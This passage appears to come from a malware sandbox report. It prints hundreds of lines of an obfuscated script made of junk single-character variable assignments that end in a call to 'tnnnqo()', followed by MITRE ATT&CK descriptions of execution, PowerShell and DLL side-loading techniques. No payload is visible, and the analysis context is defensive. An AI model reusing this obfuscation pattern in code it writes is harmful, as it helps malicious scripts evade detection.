352	qkitdt = "h";
353	qkitdt = "c";
354	qkitdt = "l";
355	qkitdt = "q";
356	yaluw = "n";
357	yaluw = "J";
358	yaluw = "g";
359	yaluw = "V";
360	yaluw = "o";
361	yaluw = "T";
362	yaluw = "l";
363	yaluw = "T";
364	yaluw = "l";
365	yaluw = "e";
366	yaluw = "H";
367	yaluw = "S";
368	yaluw = "B";
369	yaluw = "x";
370	yaluw = "Q";
371	yaluw = "a";
372	yaluw = "2";
373	lmvgdpet = "S";
374	lmvgdpet = "n";
375	lmvgdpet = "V";
376	lmvgdpet = "E";
377	lmvgdpet = "b";
378	lmvgdpet = "X";
379	lmvgdpet = "m";
380	lmvgdpet = "J";
381	lmvgdpet = "f";
382	xfmzfwqtb = "H";
383	xfmzfwqtb = "r";
384	xfmzfwqtb = "J";
385	xfmzfwqtb = "b";
386	xfmzfwqtb = "i";
387	xfmzfwqtb = "w";
388	xfmzfwqtb = "b";
389	xfmzfwqtb = "v";
390	xfmzfwqtb = "D";
391	xfmzfwqtb = "J";
392	xfmzfwqtb = "z";
393	xfmzfwqtb = "I";
394	xfmzfwqtb = "r";
395	xfmzfwqtb = "d";
396	xfmzfwqtb = "p";
397	xfmzfwqtb = "z";
398	xfmzfwqtb = "f";
399	xfmzfwqtb = "1";
400	zfoooiilf = "X";
401	zfoooiilf = "i";
402	zfoooiilf = "s";
403	zfoooiilf = "O";
404	zfoooiilf = "R";
405	zfoooiilf = "n";
406	zfoooiilf = "i";
407	zfoooiilf = "F";
408	zfoooiilf = "W";
409	zfoooiilf = "b";
410	zfoooiilf = "c";
411	zfoooiilf = "D";
412	zfoooiilf = "C";
413	zfoooiilf = "C";
414	zfoooiilf = "X";
415	zfoooiilf = "R";
416	zfoooiilf = "o";
417	zfoooiilf = "o";
418	zfoooiilf = "C";
419	zfoooiilf = "e";
420	zfoooiilf = "B";
421	zfoooiilf = "L";
422	zfoooiilf = "F";
423	zfoooiilf = "B";
424	zfoooiilf = "X";
425	zfoooiilf = "n";
426	zfoooiilf = "V";
427	zfoooiilf = "O";
428	zfoooiilf = "u";
429	zfoooiilf = "B";
430	zfoooiilf = "m";
431	zfoooiilf = "j";
432	zfoooiilf = "S";
433	zfoooiilf = "Y";
434	zfoooiilf = "a";
435	zfoooiilf = "R";
436	zfoooiilf = "g";
437	zfoooiilf = "T";
438	zfoooiilf = "C";
439	zfoooiilf = "Q";
440	zfoooiilf = "S";
441	zfoooiilf = "n";
442	zfoooiilf = "f";
443	zfoooiilf = "b";
444	zfoooiilf = "a";
445	iytetudzb = "q";
446	iytetudzb = "R";
447	iytetudzb = "b";
448	iytetudzb = "g";
449	iytetudzb = "p";
450	iytetudzb = "Y";
451	iytetudzb = "G";
452	iytetudzb = "z";
453	iytetudzb = "P";
454	iytetudzb = "S";
455	iytetudzb = "W";
456	iytetudzb = "G";
457	iytetudzb = "o";
458	iytetudzb = "E";
459	iytetudzb = "m";
460	iytetudzb = "Y";
461	iytetudzb = "X";
462	iytetudzb = "F";
463	iytetudzb = "V";
464	iytetudzb = "e";
465	iytetudzb = "j";
466	iytetudzb = "c";
467	iytetudzb = "K";
468	iytetudzb = "e";
469	iytetudzb = "t";
470	iytetudzb = "H";
471	iytetudzb = "i";
472	iytetudzb = "X";
473	iytetudzb = "k";
474	iytetudzb = "h";
475	iytetudzb = "S";
476	iytetudzb = "j";
477	iytetudzb = "l";
478	iytetudzb = "f";
479	iytetudzb = "l";
480	iytetudzb = "c";
481	iytetudzb = "g";
482	iytetudzb = "D";
483	iytetudzb = "j";
484	iytetudzb = "X";
485	iytetudzb = "q";
486	iytetudzb = "j";
487	iytetudzb = "A";
488	iytetudzb = "Z";
489	iytetudzb = "U";
490	vhvctuz = "V";
491	vhvctuz = "f";
492	vhvctuz = "x";
493	vhvctuz = "J";
494	vhvctuz = "O";
495	vhvctuz = "Z";
496	vhvctuz = "O";
497	vhvctuz = "P";
498	vhvctuz = "r";
499	vhvctuz = "n";
500	vhvctuz = "x";
501	vhvctuz = "x";
502	vhvctuz = "W";
503	vhvctuz = "l";
504	vhvctuz = "F";
505	vhvctuz = "n";
506	vhvctuz = "y";
507	vhvctuz = "r";
508	vhvctuz = "D";
509	vhvctuz = "W";
510	vhvctuz = "f";
511	vhvctuz = "F";
512	vhvctuz = "a";
513	vhvctuz = "Y";
514	vhvctuz = "B";
515	vhvctuz = "M";
516	vhvctuz = "R";
517	vhvctuz = "d";
518	vhvctuz = "S";
519	vhvctuz = "d";
520	vhvctuz = "I";
521	vhvctuz = "B";
522	vhvctuz = "C";
523	vhvctuz = "Z";
524	vhvctuz = "J";
525	vhvctuz = "L";
526	vhvctuz = "s";
527	vhvctuz = "A";
528	vhvctuz = "q";
529	vhvctuz = "-";
530	raclhuqzy = "a";
531	raclhuqzy = "Z";
532	raclhuqzy = "l";
533	raclhuqzy = "o";
534	raclhuqzy = "o";
535	raclhuqzy = "r";
536	raclhuqzy = "9";
537	ichvhlkac = "y";
538	ichvhlkac = "l";
539	ichvhlkac = "X";
540	ichvhlkac = "q";
541	ichvhlkac = "P";
542	ichvhlkac = "X";
543	ichvhlkac = "s";
544	ichvhlkac = "w";
545	ichvhlkac = "j";
546	ichvhlkac = "L";
547	ichvhlkac = "j";
548	ichvhlkac = "w";
549	ichvhlkac = "i";
550	ichvhlkac = "U";
551	ichvhlkac = "F";
552	ichvhlkac = "e";
553	ichvhlkac = "R";
554	ichvhlkac = "b";
555	ichvhlkac = "x";
556	ichvhlkac = "O";
557	ichvhlkac = "P";
558	ichvhlkac = "W";
559	ichvhlkac = "b";
560	ichvhlkac = "S";
561	ichvhlkac = "f";
562	ichvhlkac = "k";
563	ichvhlkac = "l";
564	ichvhlkac = "l";
565	ockwffq = "Z";
566	ockwffq = "u";
567	ockwffq = "V";
568	ockwffq = "b";
569	ockwffq = "H";
570	ockwffq = "o";
571	ockwffq = "Y";
572	ockwffq = "o";
573	ockwffq = "w";
574	ockwffq = "J";
575	ockwffq = "S";
576	ockwffq = "Y";
577	zqoth = "h";
578	zqoth = "C";
579	zqoth = "k";
580	zqoth = "l";
581	zqoth = "a";
582	zqoth = "i";
583	zqoth = "s";
584	zqoth = "c";
585	zqoth = "W";
586	zqoth = "K";
587	zqoth = "l";
588	zqoth = "D";
589	zqoth = "Q";
590	zqoth = "Q";
591	zqoth = "d";
592	zqoth = "n";
593	zqoth = "L";
594	zqoth = "l";
595	zqoth = "n";
596	zqoth = "D";
597	zqoth = "R";
598	zqoth = "j";
599	zqoth = "u";
600	zqoth = "G";
601	zqoth = "h";
602	zqoth = "o";
603	zqoth = "A";
604	zqoth = "p";
605	zqoth = "r";
606	hditrul = "I";
607	hditrul = "P";
608	hditrul = "T";
609	hditrul = "g";
610	hditrul = "Z";
611	hditrul = "W";
612	hditrul = "O";
613	hditrul = "W";
614	hditrul = "G";
615	hditrul = "O";
616	hditrul = "C";
617	hditrul = "C";
618	hditrul = "q";
619	hditrul = "a";
620	hditrul = "o";
621	hditrul = "U";
622	hditrul = "g";
623	hditrul = "Z";
624	hditrul = "y";
625	hditrul = "c";
626	hditrul = "J";
627	hditrul = "Z";
628	hditrul = "w";
629	hditrul = "V";
630	hditrul = "Y";
631	hditrul = "C";
632	hditrul = "B";
633	hditrul = "3";
634	mfysovhb = "F";
635	mfysovhb = "Z";
636	mfysovhb = "S";
637	mfysovhb = "u";
638	mfysovhb = "J";
639	mfysovhb = "M";
640	mfysovhb = "K";
641	mfysovhb = "O";
642	mfysovhb = "c";
643	mfysovhb = "Y";
644	mfysovhb = "z";
645	mfysovhb = "m";
646	mfysovhb = "l";
647	mfysovhb = "A";
648	mfysovhb = "Y";
649	mfysovhb = "V";
650	mfysovhb = "q";
651	mfysovhb = "K";
652	mfysovhb = "k";
653	lltseinqx = "k";
654	lltseinqx = "H";
655	lltseinqx = "K";
656	lltseinqx = "u";
657	lltseinqx = "o";
658	lltseinqx = "J";
659	lltseinqx = "E";
660	lltseinqx = "u";
661	lltseinqx = "U";
662	lltseinqx = "k";
663	lltseinqx = "J";
664	lltseinqx = "a";
665	lltseinqx = "m";
666	lltseinqx = "z";
667	lltseinqx = "o";
668	lhfzoox = "K";
669	labyrx = "h";
670	labyrx = "f";
671	labyrx = "W";
672	labyrx = "s";
673	labyrx = "y";
674	labyrx = "Q";
675	labyrx = "F";
676	labyrx = "I";
677	labyrx = "k";
678	labyrx = "@";
679	mnehahabj = "Y";
680	mnehahabj = "c";
681	mnehahabj = "N";
682	mnehahabj = "f";
683	mnehahabj = "U";
684	mnehahabj = "j";
685	mnehahabj = "v";
686	mnehahabj = "Z";
687	mnehahabj = "U";
688	mnehahabj = "v";
689	mnehahabj = "L";
690	mnehahabj = "f";
691	mnehahabj = "v";
692	mnehahabj = "X";
693	mnehahabj = "N";
694	mnehahabj = "O";
695	suatn = "A";
696	suatn = "s";
697	suatn = "s";
698	suatn = "J";
699	suatn = "p";
700	suatn = "d";
701	suatn = "c";
702	suatn = "r";
703	suatn = "h";
704	suatn = "C";
705	suatn = "A";
706	suatn = "Y";
707	suatn = "I";
708	suatn = "D";
709	suatn = "m";
710	iibliwwrq = "t";
711	iibliwwrq = "g";
712	iibliwwrq = "Y";
713	iibliwwrq = "p";
714	iibliwwrq = "D";
715	iibliwwrq = "g";
716	iibliwwrq = "Z";
717	iibliwwrq = "T";
718	iibliwwrq = "i";
719	iibliwwrq = "H";
720	iibliwwrq = "L";
721	iibliwwrq = "k";
722	iibliwwrq = "F";
723	iibliwwrq = "p";
724	iibliwwrq = "B";
725	iibliwwrq = "M";
726	iibliwwrq = "i";
727	iibliwwrq = "b";
728	iibliwwrq = "H";
729	iibliwwrq = "j";
730	iibliwwrq = "f";
731	iibliwwrq = "P";
732	iibliwwrq = "r";
733	iibliwwrq = "m";
734	iibliwwrq = "W";
735	iibliwwrq = "Y";
736	iibliwwrq = "g";
737	iibliwwrq = "N";
738	iibliwwrq = "t";
739	iibliwwrq = "D";
740	iibliwwrq = "z";
741	iibliwwrq = "W";
742	iibliwwrq = "H";
743	iibliwwrq = "h";
744	iibliwwrq = "l";
745	iibliwwrq = "w";
746	iibliwwrq = "O";
747	iibliwwrq = "e";
748	iibliwwrq = "c";
749	iibliwwrq = "c";
750	ohwibu = "g";
751	gpehmvvf = "g";
752	gpehmvvf = "a";
753	gpehmvvf = "M";
754	gpehmvvf = "m";
755	gpehmvvf = "u";
756	gpehmvvf = "m";
757	gpehmvvf = "N";
758	gpehmvvf = "L";
759	gpehmvvf = "h";
760	gpehmvvf = "p";
761	gpehmvvf = "D";
762	gpehmvvf = "j";
763	gpehmvvf = "T";
764	gpehmvvf = "u";
765	gpehmvvf = "j";
766	gpehmvvf = "I";
767	gpehmvvf = "C";
768	gpehmvvf = "X";
769	gpehmvvf = "Z";
770	gpehmvvf = "E";
771	gpehmvvf = "c";
772	gpehmvvf = "u";
773	gpehmvvf = "a";
774	gpehmvvf = "b";
775	gpehmvvf = "I";
776	gpehmvvf = "H";
777	gpehmvvf = "h";
778	gpehmvvf = "E";
779	gpehmvvf = "T";
780	gpehmvvf = "R";
781	gpehmvvf = "S";
782	gpehmvvf = "z";
783	gpehmvvf = "o";
784	gpehmvvf = "D";
785	gpehmvvf = "A";
786	gpehmvvf = "T";
787	gpehmvvf = "U";
788	gpehmvvf = "K";
789	gpehmvvf = "R";
790	gpehmvvf = "I";
791	felarc = "f";
792	felarc = "Z";
793	felarc = "m";
794	felarc = "N";
795	felarc = "m";
796	felarc = "G";
797	felarc = "I";
798	felarc = "j";
799	felarc = "j";
800	felarc = "o";
801	felarc = "I";
802	felarc = "S";
803	felarc = "k";
804	felarc = "r";
805	felarc = "y";
806	felarc = "U";
807	felarc = "G";
808	felarc = "B";
809	felarc = "P";
810	felarc = "B";
811	felarc = "S";
812	felarc = "J";
813	felarc = "s";
814	felarc = "C";
815	felarc = "s";
816	felarc = "s";
817	felarc = "Q";
818	felarc = "l";
819	felarc = "r";
820	felarc = "U";
821	felarc = "U";
822	felarc = "8";
823	divqxdpr = "D";
824	divqxdpr = "K";
825	divqxdpr = "k";
826	divqxdpr = "W";
827	divqxdpr = "n";
828	divqxdpr = "c";
829	divqxdpr = "C";
830	divqxdpr = "Y";
831	divqxdpr = "o";
832	divqxdpr = "L";
833	divqxdpr = "w";
834	divqxdpr = "T";
835	divqxdpr = "w";
836	divqxdpr = "b";
837	divqxdpr = "i";
838	divqxdpr = "q";
839	divqxdpr = "D";
840	divqxdpr = "Z";
841	divqxdpr = "t";
842	divqxdpr = "Y";
843	divqxdpr = "w";
844	divqxdpr = "c";
845	divqxdpr = "q";
846	divqxdpr = "a";
847	divqxdpr = "w";
848	divqxdpr = "R";
849	divqxdpr = "k";
850	divqxdpr = "x";
851	divqxdpr = "f";
852	divqxdpr = "j";
853	divqxdpr = "H";
854	divqxdpr = "o";
855	divqxdpr = "e";
856	divqxdpr = "K";
857	divqxdpr = "0";
858	dqvtbw = "w";
859	eogbd = "Z";
860	eogbd = "C";
861	eogbd = "K";
862	eogbd = "m";
863	eogbd = "j";
864	eogbd = "U";
865	eogbd = "t";
866	eogbd = "d";
867	eogbd = "y";
868	eogbd = "D";
869	eogbd = "F";
870	eogbd = "f";
871	eogbd = "L";
872	eogbd = "j";
873	eogbd = "W";
874	eogbd = "t";
875	eogbd = "Y";
876	eogbd = "R";
877	eogbd = "f";
878	eogbd = "S";
879	qsnvcjro = "H";
880	qsnvcjro = "a";
881	qsnvcjro = "D";
882	qsnvcjro = "h";
883	qsnvcjro = "r";
884	qsnvcjro = "M";
885	qsnvcjro = "d";
886	qsnvcjro = "a";
887	qsnvcjro = "C";
888	qsnvcjro = "b";
889	qsnvcjro = "S";
890	qsnvcjro = "u";
891	qsnvcjro = "A";
892	qsnvcjro = "N";
893	qsnvcjro = "x";
894	qsnvcjro = "L";
895	qsnvcjro = "c";
896	qsnvcjro = "t";
897	qsnvcjro = "R";
898	qsnvcjro = "d";
899	qsnvcjro = "z";
900	qsnvcjro = "l";
901	qsnvcjro = "l";
902	qsnvcjro = "w";
903	qsnvcjro = "Z";
904	qsnvcjro = "H";
905	qsnvcjro = "G";
906	qsnvcjro = "m";
907	qsnvcjro = "v";
908	qsnvcjro = "d";
909	qsnvcjro = "Z";
910	qsnvcjro = "a";
911	qsnvcjro = "f";
912	qsnvcjro = "h";
913	qsnvcjro = "E";
914	qsnvcjro = "p";
915	qsnvcjro = "a";
916	qsnvcjro = "b";
917	qsnvcjro = "x";
918	qsnvcjro = "X";
919	qsnvcjro = "6";
920	igrgxt = "p";
921	igrgxt = "s";
922	igrgxt = "v";
923	igrgxt = "f";
924	igrgxt = "c";
925	igrgxt = "Z";
926	igrgxt = "s";
927	igrgxt = "O";
928	igrgxt = "n";
929	igrgxt = "V";
930	igrgxt = "v";
931	igrgxt = "x";
932	igrgxt = "f";
933	igrgxt = "R";
934	igrgxt = "l";
935	igrgxt = "W";
936	igrgxt = "a";
937	igrgxt = "Y";
938	igrgxt = "G";
939	igrgxt = "m";
940	igrgxt = "p";
941	igrgxt = "b";
942	igrgxt = "c";
943	igrgxt = "q";
944	igrgxt = "E";
945	igrgxt = "C";
946	igrgxt = "q";
947	igrgxt = "B";
948	igrgxt = "r";
949	igrgxt = "u";
950	igrgxt = "o";
951	igrgxt = "Z";
952	igrgxt = "Y";
953	igrgxt = "U";
954	igrgxt = "G";
955	igrgxt = "r";
956	igrgxt = "v";
957	igrgxt = "h";
958	igrgxt = "R";
959	igrgxt = "d";
960	igrgxt = "U";
961	igrgxt = "U";
962	igrgxt = "l";
963	igrgxt = "&";
964	siiwbtk = "N";
965	siiwbtk = "z";
966	siiwbtk = "g";
967	siiwbtk = "Z";
968	siiwbtk = "v";
969	siiwbtk = "V";
970	siiwbtk = "o";
971	siiwbtk = "L";
972	siiwbtk = "z";
973	siiwbtk = "v";
974	siiwbtk = "j";
975	siiwbtk = "i";
976	siiwbtk = "D";
977	siiwbtk = "N";
978	siiwbtk = "f";
979	siiwbtk = "W";
980	siiwbtk = "S";
981	siiwbtk = "i";
982	jifunge = "X";
983	jifunge = "K";
984	jifunge = "M";
985	jifunge = "Y";
986	jifunge = "K";
987	jifunge = "K";
988	jifunge = "r";
989	jifunge = "L";
990	jifunge = "n";
991	jifunge = "l";
992	jifunge = "C";
993	jifunge = "b";
994	jifunge = "Z";
995	jifunge = "V";
996	jifunge = "e";
997	urodf = "t";
998	urodf = "a";
999	urodf = "o";
1000	urodf = "S";
1001	urodf = "W";
1002	urodf = "y";
1003	urodf = "u";
1004	urodf = "P";
1005	owaxftfj = "j";
1006	owaxftfj = "t";
1007	owaxftfj = "T";
1008	owaxftfj = "y";
1009	owaxftfj = "u";
1010	owaxftfj = "G";
1011	owaxftfj = "T";
1012	owaxftfj = "U";
1013	owaxftfj = "d";
1014	owaxftfj = "O";
1015	owaxftfj = "l";
1016	owaxftfj = "X";
1017	owaxftfj = "U";
1018	owaxftfj = "s";
1019	owaxftfj = "s";
1020	owaxftfj = "N";
1021	owaxftfj = "p";
1022	owaxftfj = "Y";
1023	owaxftfj = "j";
1024	owaxftfj = "j";
1025	owaxftfj = "i";
1026	owaxftfj = "T";
1027	owaxftfj = "j";
1028	owaxftfj = "o";
1029	owaxftfj = "M";
1030	owaxftfj = "X";
1031	owaxftfj = "L";
1032	owaxftfj = "Y";
1033	owaxftfj = "R";
1034	owaxftfj = "l";
1035	owaxftfj = "E";
1036	owaxftfj = "q";
1037	owaxftfj = "W";
1038	owaxftfj = "l";
1039	owaxftfj = "z";
1040	owaxftfj = "a";
1041	owaxftfj = "h";
1042	ndkwjuns = "u";
1043	ndkwjuns = "X";
1044	ndkwjuns = "y";
1045	ndkwjuns = "Z";
1046	ndkwjuns = "K";
1047	ndkwjuns = "O";
1048	ndkwjuns = "a";
1049	ndkwjuns = "w";
1050	ndkwjuns = "e";
1051	ndkwjuns = "D";
1052	ndkwjuns = "I";
1053	ndkwjuns = "y";
1054	ndkwjuns = "Y";
1055	ndkwjuns = "W";
1056	ndkwjuns = "y";
1057	ndkwjuns = "q";
1058	ndkwjuns = "G";
1059	ndkwjuns = "p";
1060	ndkwjuns = "i";
1061	ndkwjuns = "V";
1062	ndkwjuns = "D";
1063	ndkwjuns = "p";
1064	ndkwjuns = "h";
1065	ndkwjuns = "n";
1066	ndkwjuns = "E";
1067	ndkwjuns = "Q";
1068	ndkwjuns = "a";
1069	ndkwjuns = "s";
1070	ndkwjuns = "T";
1071	ndkwjuns = "T";
1072	ndkwjuns = "K";
1073	ndkwjuns = "f";
1074	ndkwjuns = "p";
1075	ndkwjuns = "U";
1076	ndkwjuns = "l";
1077	ndkwjuns = "a";
1078	ndkwjuns = "B";
1079	ndkwjuns = "C";
1080	sdscfgbkr = "Y";
1081	sdscfgbkr = "X";
1082	sdscfgbkr = "s";
1083	sdscfgbkr = "L";
1084	sdscfgbkr = "u";
1085	sdscfgbkr = "L";
1086	sdscfgbkr = "W";
1087	sdscfgbkr = "b";
1088	sdscfgbkr = "u";
1089	sdscfgbkr = "R";
1090	sdscfgbkr = "F";
1091	sdscfgbkr = "z";
1092	sdscfgbkr = "T";
1093	sdscfgbkr = "P";
1094	sdscfgbkr = "N";
1095	sdscfgbkr = "h";
1096	sdscfgbkr = "g";
1097	sdscfgbkr = "D";
1098	sdscfgbkr = "C";
1099	sdscfgbkr = "J";
1100	sdscfgbkr = "/";
1101	hlqte = "B";
1102	hlqte = "A";
1103	hlqte = "a";
1104	hlqte = "C";
1105	hlqte = "G";
1106	hlqte = "b";
1107	hlqte = "E";
1108	hlqte = "r";
1109	hlqte = "M";
1110	hlqte = "i";
1111	hlqte = "R";
1112	hlqte = "n";
1113	hlqte = "M";
1114	hlqte = "U";
1115	hlqte = "A";
1116	hlqte = "M";
1117	hlqte = "O";
1118	hlqte = "V";
1119	hlqte = "q";
1120	hlqte = "r";
1121	hlqte = "i";
1122	hlqte = "j";
1123	hlqte = "l";
1124	hlqte = "m";
1125	hlqte = "m";
1126	hlqte = "s";
1127	hlqte = "O";
1128	hlqte = "B";
1129	hlqte = "Q";
1130	hlqte = "Z";
1131	hlqte = "S";
1132	hlqte = "q";
1133	hlqte = "S";
1134	hlqte = "r";
1135	hlqte = "q";
1136	hlqte = "R";
1137	hlqte = "u";
1138	hlqte = "d";
1139	hlqte = "R";
1140	hlqte = "u";
1141	hlqte = "v";
1142	hlqte = "T";
1143	hlqte = "f";
1144	hlqte = " ";
1145	bpjqhdkiv = "D";
1146	bpjqhdkiv = "z";
1147	bpjqhdkiv = "y";
1148	bpjqhdkiv = "e";
1149	bpjqhdkiv = "w";
1150	bpjqhdkiv = "N";
1151	bpjqhdkiv = "I";
1152	bpjqhdkiv = "L";
1153	bpjqhdkiv = "C";
1154	bpjqhdkiv = "J";
1155	bpjqhdkiv = "E";
1156	bpjqhdkiv = "I";
1157	bpjqhdkiv = "O";
1158	bpjqhdkiv = "I";
1159	bpjqhdkiv = "w";
1160	bpjqhdkiv = "Q";
1161	bpjqhdkiv = "z";
1162	bpjqhdkiv = "w";
1163	bpjqhdkiv = "d";
1164	bpjqhdkiv = "b";
1165	bpjqhdkiv = "k";
1166	bpjqhdkiv = "I";
1167	bpjqhdkiv = "L";
1168	bpjqhdkiv = "G";
1169	bpjqhdkiv = "t";
1170	bpjqhdkiv = "J";
1171	bpjqhdkiv = "w";
1172	bpjqhdkiv = "A";
1173	bpjqhdkiv = "Y";
1174	bpjqhdkiv = "Z";
1175	bpjqhdkiv = "u";
1176	bpjqhdkiv = "P";
1177	bpjqhdkiv = "i";
1178	bpjqhdkiv = "b";
1179	bpjqhdkiv = "a";
1180	bpjqhdkiv = "p";
1181	bpjqhdkiv = "F";
1182	bpjqhdkiv = "B";
1183	bpjqhdkiv = "%";
1184	klrpopvh = "L";
1185	klrpopvh = "a";
1186	klrpopvh = "Z";
1187	klrpopvh = "t";
1188	klrpopvh = "d";
1189	klrpopvh = "h";
1190	klrpopvh = "k";
1191	klrpopvh = "w";
1192	klrpopvh = "t";
1193	klrpopvh = "o";
1194	klrpopvh = "q";
1195	klrpopvh = "Z";
1196	klrpopvh = "O";
1197	klrpopvh = "Y";
1198	klrpopvh = "Q";
1199	klrpopvh = "E";
1200	klrpopvh = "k";
1201	klrpopvh = "J";
1202	klrpopvh = "w";
1203	klrpopvh = "v";
1204	klrpopvh = "E";
1205	klrpopvh = "r";
1206	klrpopvh = "Y";
1207	klrpopvh = "i";
1208	klrpopvh = "v";
1209	klrpopvh = "p";
1210	klrpopvh = "Q";
1211	klrpopvh = "y";
1212	klrpopvh = "n";
1213	klrpopvh = "u";
1214	klrpopvh = "g";
1215	klrpopvh = "t";
1216	klrpopvh = "P";
1217	klrpopvh = "J";
1218	klrpopvh = "r";
1219	klrpopvh = "Q";
1220	klrpopvh = "x";
1221	rkuusmlbw = "T";
1222	rkuusmlbw = "S";
1223	rkuusmlbw = "P";
1224	rkuusmlbw = "Y";
1225	rkuusmlbw = "u";
1226	rkuusmlbw = "B";
1227	rkuusmlbw = "p";
1228	rkuusmlbw = "B";
1229	rkuusmlbw = "x";
1230	rkuusmlbw = "Z";
1231	rkuusmlbw = "S";
1232	rkuusmlbw = "d";
1233	rkuusmlbw = "P";
1234	rkuusmlbw = "V";
1235	rkuusmlbw = "m";
1236	rkuusmlbw = "Y";
1237	rkuusmlbw = "i";
1238	rkuusmlbw = "W";
1239	rkuusmlbw = "A";
1240	rkuusmlbw = "K";
1241	rkuusmlbw = "x";
1242	rkuusmlbw = "K";
1243	rkuusmlbw = "a";
1244	rkuusmlbw = "P";
1245	rkuusmlbw = "h";
1246	rkuusmlbw = "W";
1247	vxmldhya = "I";
1248	vxmldhya = "t";
1249	vxmldhya = "R";
1250	vxmldhya = "n";
1251	vxmldhya = "N";
1252	vxmldhya = "v";
1253	vxmldhya = "a";
1254	vxmldhya = "G";
1255	vxmldhya = "a";
1256	vxmldhya = "c";
1257	vxmldhya = "W";
1258	vxmldhya = "R";
1259	vxmldhya = "g";
1260	vxmldhya = "f";
1261	vxmldhya = "N";
1262	vxmldhya = "U";
1263	vxmldhya = "n";
1264	vxmldhya = "S";
1265	vxmldhya = "w";
1266	vxmldhya = "j";
1267	vxmldhya = "u";
1268	vxmldhya = "B";
1269	vxmldhya = "U";
1270	vxmldhya = "A";
1271	vxmldhya = "y";
1272	vxmldhya = "o";
1273	vxmldhya = "h";
1274	vxmldhya = "w";
1275	vxmldhya = "T";
1276	vxmldhya = "R";
1277	ncwud = "F";
1278	ncwud = "S";
1279	ncwud = "J";
1280	ncwud = "Z";
1281	ncwud = "s";
1282	ncwud = "v";
1283	ncwud = "p";
1284	ncwud = "y";
1285	ncwud = "R";
1286	ncwud = "X";
1287	ncwud = "D";
1288	ncwud = "I";
1289	ncwud = "V";
1290	ncwud = "B";
1291	ncwud = "h";
1292	ncwud = "b";
1293	ncwud = "W";
1294	ncwud = "T";
1295	ncwud = "t";
1296	ncwud = "c";
1297	ncwud = "P";
1298	ncwud = "V";
1299	ncwud = "H";
1300	lmjfdh = "w";
1301	lmjfdh = "a";
1302	lmjfdh = "r";
1303	lmjfdh = "v";
1304	lmjfdh = "L";
1305	lmjfdh = "S";
1306	lmjfdh = "d";
1307	lmjfdh = "D";
1308	lmjfdh = "J";
1309	lmjfdh = "W";
1310	lmjfdh = "P";
1311	lmjfdh = "p";
1312	lmjfdh = "z";
1313	lmjfdh = "l";
1314	lmjfdh = "n";
1315	lmjfdh = "L";
1316	lmjfdh = "U";
1317	lmjfdh = ".";
1318	tueohwu = "l";
1319	tueohwu = "J";
1320	tueohwu = "I";
1321	tueohwu = "m";
1322	tueohwu = "g";
1323	tueohwu = "f";
1324	tueohwu = "m";
1325	tueohwu = "C";
1326	tueohwu = "j";
1327	tueohwu = "S";
1328	tueohwu = "p";
1329	tueohwu = "O";
1330	tueohwu = "v";
1331	tueohwu = "m";
1332	tueohwu = "z";
1333	tueohwu = "L";
1334	tueohwu = "p";
1335	tueohwu = "L";
1336	tueohwu = "h";
1337	tueohwu = "T";
1338	tueohwu = "X";
1339	tueohwu = "N";
1340	tueohwu = "C";
1341	tueohwu = "A";
1342	tueohwu = "M";
1343	tueohwu = "m";
1344	tueohwu = "z";
1345	tueohwu = "j";
1346	tueohwu = "E";
1347	tueohwu = "S";
1348	tueohwu = "B";
1349	tueohwu = "y";
1350	tueohwu = "g";
1351	tueohwu = "n";
1352	tueohwu = "i";
1353	tueohwu = "B";
1354	tueohwu = "o";
1355	tueohwu = "Q";
1356	tueohwu = "q";
1357	tueohwu = "c";
1358	tueohwu = "L";
1359	zrhfm = "k";
1360	zrhfm = "D";
1361	zrhfm = "B";
1362	zrhfm = "g";
1363	zrhfm = "I";
1364	zrhfm = "O";
1365	zrhfm = "R";
1366	zrhfm = "P";
1367	zrhfm = "c";
1368	zrhfm = "y";
1369	zrhfm = "T";
1370	zrhfm = "H";
1371	zrhfm = "G";
1372	zrhfm = "K";
1373	zrhfm = "J";
1374	zrhfm = "g";
1375	zrhfm = "F";
1376	zrhfm = "K";
1377	zrhfm = "o";
1378	zrhfm = "f";
1379	zrhfm = "i";
1380	zrhfm = "F";
1381	alesufjv = "z";
1382	alesufjv = "V";
1383	alesufjv = "Y";
1384	alesufjv = "t";
1385	alesufjv = "T";
1386	alqdvngil = "F";
1387	alqdvngil = "B";
1388	alqdvngil = "I";
1389	alqdvngil = "r";
1390	alqdvngil = "N";
1391	alqdvngil = "T";
1392	alqdvngil = "q";
1393	alqdvngil = "c";
1394	alqdvngil = "C";
1395	alqdvngil = "p";
1396	alqdvngil = "4";
1397	lhvlr = "N";
1398	tnnnqo ( );	tnnnqo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
